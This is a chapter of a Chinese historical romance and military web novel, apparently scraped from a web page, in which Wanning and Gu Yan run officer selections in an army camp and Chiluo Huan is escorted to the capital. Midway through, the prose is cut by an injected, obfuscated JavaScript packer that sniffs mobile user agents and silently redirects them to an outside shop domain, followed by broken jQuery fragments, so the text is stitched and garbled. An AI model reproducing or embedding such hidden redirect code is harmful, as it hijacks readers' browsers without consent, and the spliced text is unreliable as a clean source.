秋日晨寒凝霜,初阳未至,在晶花消作透玉前,九华殿的华室锦帐中,晚宁换上了许久不敢穿的衣裳。
赤红应龙满绣的衣襟覆在胸前,玄红色劲装金丝红线绣摆,脚下一双黑色皮靴后跟处,亦是应龙图腾。
顾言早前给她的云纹腰带被她从包袱里抽了出来,往腰上一系,纤劲的腰身尽显,玄红软皮护腕赤红的系带被她咬在齿间,配合着一只手反复牵拉,抽紧之后,又配合着迅速束了个结,熟练至极。
“夫人何时有这衣袍?且还藏了多少东西是我不知道的?”顾言痴痴地望着,都不记得帮个忙,看着她换好,便把她拽到跟前,双臂环着她的腿,把脸搁在她的衣襟上,仰着头看她。
晚宁低头看着他一副乖巧的模样,把手穿进他的头发里揉了起来,“你不知道的事情可多了去了。”
“我觉得也是。”他抓着她的手腕往前推,手掌拉到面前,用鼻尖蹭开,吻在她的手心里,“味道真不错。”
“我就知道你这话别有意图。”晚宁把手缩回来,转身往外走,想起他在临安受伤时,亦说过这话。
顾言起身跟在她身后,随手抓过搁在桌上的剑,往前快了两步,替她打开了门,“我只对你有意图。”
“是是是,快些吧,把你的意图先收一收。”晚宁抬脚往外走,留他在身后关门,反正这人是自己会跟上的。
顾言关上门,确实大步跟了上去,在后边细细瞧着她,凤尾钗下束着马尾,随着她的脚步在风里轻轻飘动,活脱又飒爽,他想着他的阿宁许还有千百种模样。
两人穿过清早寂静无人的青石宫道,巡防的天武禁军见着他们皆停下施礼,“侯爷,郡主。”
顾言本就料想着路上能看见他们,一面走一面吩咐道:“去让卫戍营校尉带五百人来翌阳军大营找我。”
禁军军士颔首应下,自动退出去一个传令,一刻都不敢迟钝。
晚宁心里盘算着八个营的选拔事宜,盯着前路快步走着,听见了他的话,觉得正好是想到一块儿去了。
“一会儿各营凭实力出人,天武军负责督查,你觉得够不够?”
“翌阳军还有六万在外面,不必挑得太细,武试不够,品行也要查。”顾言从不相信外在的东西,底子里的才是最实际的。
晚宁也想过,可一时半刻,如何能知道品行?“先挑些能用的,之后再慢慢调度如何?”
“就怕不堪大用,一身莽力。”顾言对这些四面八方来的人摸不着底,连沟通都不太顺畅,他属实是茫然。
晚宁的态度却是大胆试一试,总归战事未起,大军散乱,刚到的人也正好考验一番,“各营暂且选三个,平起平坐,相互牵制,你觉得如何?”
“让他们自己打起来?”
“有人竞争,必会更卖力办事,现在要的便是卖力,都尽力了,才能看出谁最合适,前三武力定不会差,但办事的能力……”晚宁一边走着,一边用指尖戳着下巴,似是按着个机关,能理清楚思路。
顾言看她可爱,亦觉得法子不错,学着她的样子,戳着自己的下巴,歪过身子逗她,“夫人说的有理。”
晚宁余光里瞥见了他奇怪的动作,才发觉自己一直在戳自己,赶紧收回了手,正了正自己的气势,“呃哼,那便这么办吧,统领带路。”
她把手摊开往前一伸,顾言亦摆了个同样的动作,“大人请。”
晚宁知晓他闹着玩儿,抬手给他拍了下来,“快走吧,没个正经样子,比风大人还晃荡。”说着便往前走,见有宫娥低头施礼,她走得更快了,如今是受不了一点儿这些虚礼。
顾言收了手,跟着她加快脚步,一面走一面辩解起来,“风如月有我一半儿懂事儿就好了。”
晚宁不理他,往军营赶路,她想着早些到,便能早些结束。
军营里军士们都起得早,各营的炊烟徐徐飘入还未亮起的天空,官兵们没有领头的,也不知道怎么操练,也不知道田地在哪里,只是习惯已经养成了,各自扛着家伙,选个喜欢的位置,自愿的操练。
晚宁走到大营里,军士们几乎都认识她,见她今日打扮不同,还夸了起来,一个个地方口音说着,“女官今日又漂亮了些!”四周传来一阵笑声。
晚宁一面往主帐走,一面笑着应他们,“我哪日不漂亮,你告诉我!”
顾言克制着自己的脸色,伸手揽过她的腰肢,推着她往大帐里走,大声喝道:“该干嘛干嘛去!”
军士们愣了一瞬,赶紧拿起自己的兵器,练武的练武,收拾的收拾。
顾言把晚宁推回营帐里便松开了手,晚宁转过身发现他看着地面,脸上的表情像结了一层冰,生人勿近。
他只要一压火气,便就是这动作,晚宁都看习惯了,还好,她不是生人。
她抓着他的手臂晃了晃,好让他回回神,等他看向自己,晚宁一把抓住机会,赶紧哄起来,“我夫君真是太好看了,连生气都好看。”
“你才好看,你好看得谁都想咬一口。”顾言不高兴,这要是外面的浮浪男子,怕是早已满地找牙,可这些按律召来军士是正经军籍,随意责罚只会乱了军心。
晚宁思索了一下,这男人年少时便盯上了她,是早已把她划归自己所有,难免习惯性的小气,可军中还有要事,怎能尽想着吃醋?
“夫君~”她娇嗔起来,抱着他的胳膊前后摇着,“妾身可早已许你一人了啊。”而后忽然立起了身子,“顾统领在军中不务正事,本官可就要军法处置了。”自是逗他玩儿的。
顾言被她这一惊一乍的逗笑了,可他就是满心都是她,江山万民,都不及她一人,“是,监军大人,属下这就去办正事。”他深吸了口气,回了回神,拱手拜下,抬起眼望了她片刻,转身走了出去。
天武军如今丝毫不敢懈怠,尤其是顾言找他们,卫戍营的校尉领着五百人半跑着赶到了军营,“属下来迟,侯爷有何吩咐?”
“留二十人跟着我,剩余的分到各营把他们召集起来,站好队列,有一个乱动的,八十军棍。”
那校尉应了声是,转身开始分派人手,五百卫戍禁军迅速分成了八支队伍奔向大军各营,留了二十人,岿然不动的立在原地,等着顾言的指令。
顾言回到帐中,晚宁给他递了碗温茶,“我们赶快办好事情,然后去街上逛逛,可好?”
“好,你想去哪里都可以,只是现在你要去帮忙了,卫戍营的兵也是京籍,军户所出,大概也听不懂他们说什么。”顾言把茶碗接到手里,话语中带着愧疚,他总觉得阿宁不该这样替自己忙活。
晚宁却是乐意得很,她觉得总比在宫里与宫娥们扯闲话有意思,摆出一副老官儿的严肃,压着嗓子说道:“那便让本官来调教一下吧。”说着便往门外走,故意摇着步子,马尾在身后左右甩动。
顾言看她稀奇古怪的模样已经没了脾气,默默跟在她后面,想着免得有人欺负她。
晚宁先去了龙骑卫那里,这是打头阵的先锋镖骑,除了身强力壮,还需行动敏捷,必须乘马疾驰还能弯弓射敌,需能各向回旋,跳越攀登,疾冲追逐,最重要的是需有以少胜多的魄力,这是先锋精锐,不可有懦夫。
“今日本官来摘选你们之中的领头人,人人皆有机会,每人去领一把弓,五十支裹好的箭,把你们的银枪背好,还有钢刀别忘了,扛不动的自动下来,别伤着自己,觉得自己可以的便引马去外面。校场里每个卫戍军士身后站六十人,两队一组,轮换制,直到剩下三人为止。鼓声为号,有多快跑多快,中箭的自己下马,到卫戍军士那里划掉自己的名字,谎报者,军法处置。”
都是小地方新纳的军户,一人入军,全家免除赋税,必然个个都不想服输,有些个扛不动的也在硬扛,几乎连马都翻不上去,晚宁也毫不怜悯,手一指,厉声喝道:“你们几个快被压死的给我下来,等着重新安排。”
顾言看着她凶悍的模样像是在吃新口味的小菜,有趣的很,没什么意见,默默跟着。
接着,他们发现射升营的军士们自己拎着弓等着,似是知道有事,见晚宁过去,一个身型彪硕,满目凶悍的军士便上前用方言问了起来,“你一个女官要管我们,先比一比再说。”顾言没听明白,只是随时准备取他性命,一旁卫戍营的军士上前回报,属实管不住几千人的意愿。
本是让整个营一块儿拎起弓箭,想吓唬小女子,谁知晚宁盯着他,走到放置弓弩的架子边上,看到不用看,随手拿了一把,走到他面前晃了晃,“你是说这个?”毫不露怯。
见晚宁非但不怕,眼神里似乎还带着稳稳当当的挑衅,这军士有些羞恼,伸直了脖子向下睨着晚宁,“是,敢吗?”
顾言笑了,晚宁的射术,怕是这营里任何一个都比不上,这军士以下犯上,倒是可以算算账。
晚宁俏丽的一笑,故意掐起声音,回答的清脆悦耳,“好啊。”
此时鹰鹫盘旋于空,晚宁手一指,“射它如何?”还没等那军士反应,晚宁挑起了铁箭,搭在弓弦上,“给你瞄的时间。”
那军士见状,连忙架起了箭,瞄了好一会儿,始终不知该不该放,他根本没见过鹰鹫。
晚宁趁机看向顾言,笑得开心,而后她转头摆了一下手里的位置,弓拉得咔咔作响,喊道:“瞄太久了,你已经死了。”话音落下,箭矢破空而起,鹰鹫在一瞬之后被一只箭矢微微顶起,而后直直坠了下去,落在了大营外面的野地中。
顾言意料之中,默默转身吩咐了一个卫戍军士出去捡回来,而后走到这领头违抗军令的射升军士面前,低声道:“违抗军令,以下犯上,听懂了,就跪下。”
小地方来的军士哪里经得住顾言的吓唬,咚地一声跪在了地上,握着弓的手不断地打颤。
“我可以杀了你,你知道吗?”顾言蹲下身子,语气冰凉,尽量说的简洁一些,好让他听懂。
那军士似是真听懂了,磕起头来,脑门上很快出现了红印,随后沙石地面上也红了一片,“属下该死,属下该死。”嘴里说的是歪歪扭扭的官话,证明是听得懂的。
顾言算是明白了,装不懂的兴许还有很多,有意思。
“今日是选拔各营校尉,你们却在这里闹事,当我顾家是吃白饭的吗?!”那声音响彻了整个大营,顾言站起身来,眼里似燃了冥火,森冷可怖,怒不可遏。
晚宁只是觉得声音太大,皱了皱眉头,看着射升营一个个瑟瑟发抖,她亦有些可怜他们,可顾言在生气,她总不好去拆台,只能看着这数千人被训斥。也没什么不好,他不会真杀光他们的。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13283484|131336||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
众人纷纷跪下,数千把十二石的弓弩啪啪落地,顾言对跪在脚边不断磕头的军士冷冷说道:“不想呆就给我滚,监军哪怕是个书生,也轮不到你来质问。”
那军士随即颤得不敢抬起头来,他只怕顾言真杀了他,他从未想过一时意气尽能要人性命,在家乡时就不会。
晚宁觉得差不多了,上前拉了拉顾言,“好了,都吓傻了。”
“吓死了才好。”
晚宁眉头拧了起来,侧眼撇他,“啧,胡说什么呢?”
顾言不爱解释,转过脸去,不再说什么,也不能真的全打一顿,晚宁给个台阶,下了就是。
晚宁是没再管他,把射升营的都叫了起来,包括带头挑衅她的军士,她是亲手扶了起来,“我知道,你只是不服气,但这不合规矩,你应知晓。”
那军士没想到晚宁会扶她,感激之情化作了热泪,转在眼眶里,他不知作何言语,一双原本凶悍难驯的眉眼百感交集地望着晚宁。
晚宁本想握握他的手,安慰一下这因无知而无谓的人,可一想这或许会要了他的命,她转而把手挪到了高处,拍了拍他的肩膀,“下不为例,去参加选拔吧。”
那军士颔首应下,眼眶红了一圈,说不出话来,低着头站到了还缺人的位置。
同样的分配,但比的是射术,强弓,臂弩都要一一比试,顾言留了几个卫戍营的看管他们,交代他们再见有叛逆的直接可赏一百军棍,而后继续跟着晚宁往下一个营走去。
*
邺阳虽然安全,但叱罗桓还有更重要的事情要做,他要把这个假的匣子拿回去,到时候审问犯人时,定是用得着的,大俞人定罪,最爱讲证据。
叱罗桓领着秦观走到邺阳郡对着戈壁滩涂的南门底下,转身对送他们出来的胡一德拜了一拜,“多谢大人款待,后会有期。”
叱罗桓是想着以后的,以后要回临安,从这里走能混到吃的,这次可一定要记住了,他想。
秦观跟着他施礼,拜谢这个不求回报,供他们吃吃喝喝的郡守,他从未遇见过这样的人,黑市里皆是一物换一物,“多谢大人款待。”
胡一德觉得不好意思,自己只是个小人物,做着力所能及的事情,每日吃吃喝喝是常态,可这些时日里,四处奔走,护卫疆土万民的人皆来拜他,他心里没底,战战兢兢。
“二位不要谢我,我该谢谢你们才是。”说着,他依次回拜了叱罗桓和秦观,“二位见到侯爷,替我问声好。”
叱罗桓一口应下,转身往城外走,却忽然被从背面本来的羽州军拦了下来,“你是叱罗桓?”
那人风沙落了满头,似是跑了许多路才走到这里,叱罗桓见他一副辛苦模样,好奇起来,”是啊,你是谁?“
那军士勒停马匹,吐出一口气来,“羽州军奉命护送你回京,陛下要见你,你俩可随我来。”
陛下?叱罗桓从未想过能见到大俞皇帝,左右自己不过是个搞钱的,一下子心嘭嘭直跳,转念一想,他觉得这应是顾言的主意,不然大俞皇帝怎会知道他呢?
居然能请皇帝护送自己回京,叱罗桓一下子觉得自己地位高了不少,揽过呆愣在一旁的秦观吹嘘起来,“你看,我这实力。”
秦观不以为然,这分明就是有主子想要他的好处,“待你越好的,便越是想要你卖命的,你倒还高兴起来?”
叱罗桓不认为,顾言和风如月是救过他的命的,可这么一想,他忽然想起自己一直没再有什么事情,感叹起了风如月的医术高明,翻出了包袱里的药葫芦,倒出了几颗药。
他自己吃了两颗,然后递给秦观,“这可是越州风氏的醒神仙丹,你尝尝,这个定能卖个好价钱。”
秦观拿在手里看了看,褐色的小圆球在手心里滚动,飘起淡淡的清香,他把葫芦的开口凑到鼻尖一闻,确实清爽,气味里似揉冰晶,甜而不腻,风氏果然手艺一绝。
“可是风氏愿意给你做多些么?”
叱罗桓眼珠子一转,“稀有才珍贵,我们卖个高价如何?”
秦观一笑,“卖给谁?”
叱罗桓刚要说卖给羽州军,羽州军的军士便有些不耐烦起来,“你们快些,怎么还聊起来了?”
一旁披甲的战马铁蹄哧哧,亦是一副不耐烦的模样,踢起了地上的尘土,叱罗桓心生一计,对着骑马的军士,举起了他手里的葫芦,“大人尝尝。”
“什么玩意儿?”羽州军不敢怎么着这刘宜要见的人,不耐烦也只能问着。
“清心丸,益寿延年。”叱罗桓心想好东西吃了高兴,舒爽,那也便是益寿延年。
军士不信他胡诌,催着他赶紧上马,“你还是快点儿上马吧,我们这些人,无战事便是延年,无贼乱便是益寿,还得多谢你。”军士知道这是替官员办事且有些能耐的人,便也说了一番心里话。
叱罗桓见自己这土方法不太行,也不再拖延,本身拖延就是逃避着,顾言连皇帝都请了,这事情怕是极严重。
他对秦观摊了摊手,翻上马背拉起了缰绳,他看着秦观上马坐好,转头与那军士说道:“走吧,还请各位带路。”
数十铁骑奔出邺阳,身后扬起了金黄的烟尘,湮没耀耀金乌,投下大片阴影,生息避兮掩言笑,旌旗翻扬,血作胭脂妆。